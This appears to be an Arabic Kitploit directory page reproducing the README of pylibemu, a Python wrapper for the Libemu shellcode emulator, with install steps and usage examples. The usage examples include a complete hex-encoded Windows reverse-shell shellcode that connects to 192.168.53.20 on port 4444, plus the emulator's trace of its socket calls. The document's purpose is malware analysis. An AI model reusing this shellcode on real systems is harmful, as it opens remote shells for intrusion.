Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pylibemu — غلاف Cython لـ Libemu | Kitploit
أدوات/GitHubGitHub/buffer/pylibemu
التحليل الديناميكي (عزل)الهندسة العكسيةشيل كودتحليل البرمجيات الخبيثةتحليل الملفات الثنائية
GitHubbuffer/pylibemu

pylibemu

غلاف Cython لـ Libemu

عرض المستودع
128282منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Pylibemu |version badge| |downloads badge|

.. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/

Pylibemu هو غلاف (wrapper) لمكتبة Libemu (https://github.com/buffer/libemu).

المتطلبات

  • Python 2.5+ أو Python 3.6+ (اقرأ ملاحظات التثبيت)
  • Libemu

التثبيت (Python 3)

لم يعد Pylibemu > 0.5.8 يتضمّن الوحدة الفرعية (submodule) الخاصة بـ Libemu، لذا يجب عليك تثبيت Libemu قبل تثبيت Pylibemu.

لتثبيت Libemu، قم فقط بتنفيذ:

.. code-block:: console

root@kitploit:~
$ git clone https://github.com/buffer/libemu.git
$ cd libemu
$ autoreconf -v -i
$ ./configure
$ make
$ sudo make install

بمجرد تثبيت Libemu بشكل صحيح، قم فقط بتنفيذ:

.. code-block:: console

root@kitploit:~
$ sudo pip install pylibemu

التثبيت (Python 2)

Pylibemu 0.5.8 هو آخر إصدار يدعم Python 2.

لتثبيت Pylibemu، قم فقط بتنفيذ:

.. code-block:: console

root@kitploit:~
$ sudo pip install pylibemu==0.5.8

الاستخدام

.. code-block:: pycon

root@kitploit:~
>>> import pylibemu
>>> shellcode  = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
>>> shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
>>> shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
>>> shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
>>> shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
>>> shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
>>> shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
>>> shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
>>> shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
>>> shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
>>> shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
>>> shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
>>> shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
>>> emulator = pylibemu.Emulator()
>>> offset = emulator.shellcode_getpc_test(shellcode)
>>> offset
4
>>> emulator.prepare(shellcode, offset)
>>> emulator.test()
0
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
 	LPCTSTR lpFileName = 0x0012fe90 => 
       	= "ws2_32";
) = 0x71a10000;
int WSAStartup (
 	WORD wVersionRequested = 2;
 	LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
 	int af = 2;
 	int type = 1;
 	int protocol = 0;
 	LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
 	GROUP g = 0;
 	DWORD dwFlags = 0;
) =  66;
int connect (
 	SOCKET s = 66;
 	struct sockaddr_in * name = 0x0012fe88 => 
     	struct   = {
        	short sin_family = 2;
         	unsigned short sin_port = 23569 (port=4444);
         	struct in_addr sin_addr = {
            unsigned long s_addr = 339060928 (host=192.168.53.20);
         };
         char sin_zero = "       ";
     };
 	int namelen = 16;
) =  0;
int recv (
 	SOCKET s = 66;
 	char * buf = 0x0012fe88 => 
    	 none;
 	int len = 3072;
 	int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

تم تقديم طريقة Emulator الجديدة 'run' في Pylibemu 0.1.3، والتي تتيح لك عدم القلق بشأن التفاصيل. علاوة على ذلك، تتيح سمة Emulator الجديدة offset الحصول على هذه المعلومات إذا لزم الأمر.

.. code-block:: pycon

root@kitploit:~
>>> emulator = pylibemu.Emulator()
>>> emulator.run(shellcode)
0
>>> emulator.offset
4
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
	 LPCTSTR = 0x01a3f990 => 
       	= "ws2_32";
) =  1906376704;
int WSAStartup (
 	WORD wVersionRequested = 2;
 	LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
 	int af = 2;
 	int type = 1;
 	int protocol = 0;
 	LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
 	GROUP g = 0;
 	DWORD dwFlags = 0;
) =  66;
int connect (
 	SOCKET s = 66;
 	struct sockaddr_in * name = 0x0012fe88 => 
    	struct   = {
        	short sin_family = 2;
         	unsigned short sin_port = 23569 (port=4444);
         	struct in_addr sin_addr = {
            unsigned long s_addr = 339060928 (host=192.168.53.20);
         };
         char sin_zero = "       ";
     };
 int namelen = 16;
) =  0;
int recv (
 	SOCKET s = 66;
 	char * = 0x01a40870 => 
     	none;
 	int len = 3072;
 	int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

يقبل Emulator المعامل الاختياري output_size الذي يحدد مقدار الذاكرة التي سيتم حجزها لتخزين تفريغ ملف تعريف المحاكاة (emulation profile dump). افتراضيًا، يبلغ حجمه 1MB ولكن يمكن تغييره بطريقتين ممكنتين:

.. code-block:: pycon

root@kitploit:~
>>> emulator = pylibemu.Emulator(1024)

>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)

إذا لم تكن الذاكرة المحجوزة كافية لاحتواء التفريغ بالكامل، فسيتم اقتطاع التفريغ وستُعيَّن سمة Emulator emu_profile_truncated إلى True. يُعد هذا الأسلوب ضروريًا لتجنب التأثير السلبي على الأداء أثناء تحليل بعض شيفرات الشيل (shellcodes) التي قد تُنتج تفريغات بحجم عدة ميغابايت (مثل Metasploit windows/download_exec). إذا كان التفريغ الكامل مطلوبًا، فيمكن اتباع أسلوب بسيط حقًا: التحقق من سمة emu_profile_truncated بعد اختبار محاكاة شيفرة الشيل، ثم زيادة الذاكرة المحجوزة عبر طريقة set_output_size الخاصة بـ Emulator، وبعد ذلك إعادة تشغيل اختبار محاكاة شيفرة الشيل مرة أخرى كما هو موضح أعلاه.

معلومات الترخيص

Copyright (C) 2011-2023 Angelo Dell'Aera [email protected]

الرخصة: رخصة جنو العمومية العامة، الإصدار 2

تنزيل الأداة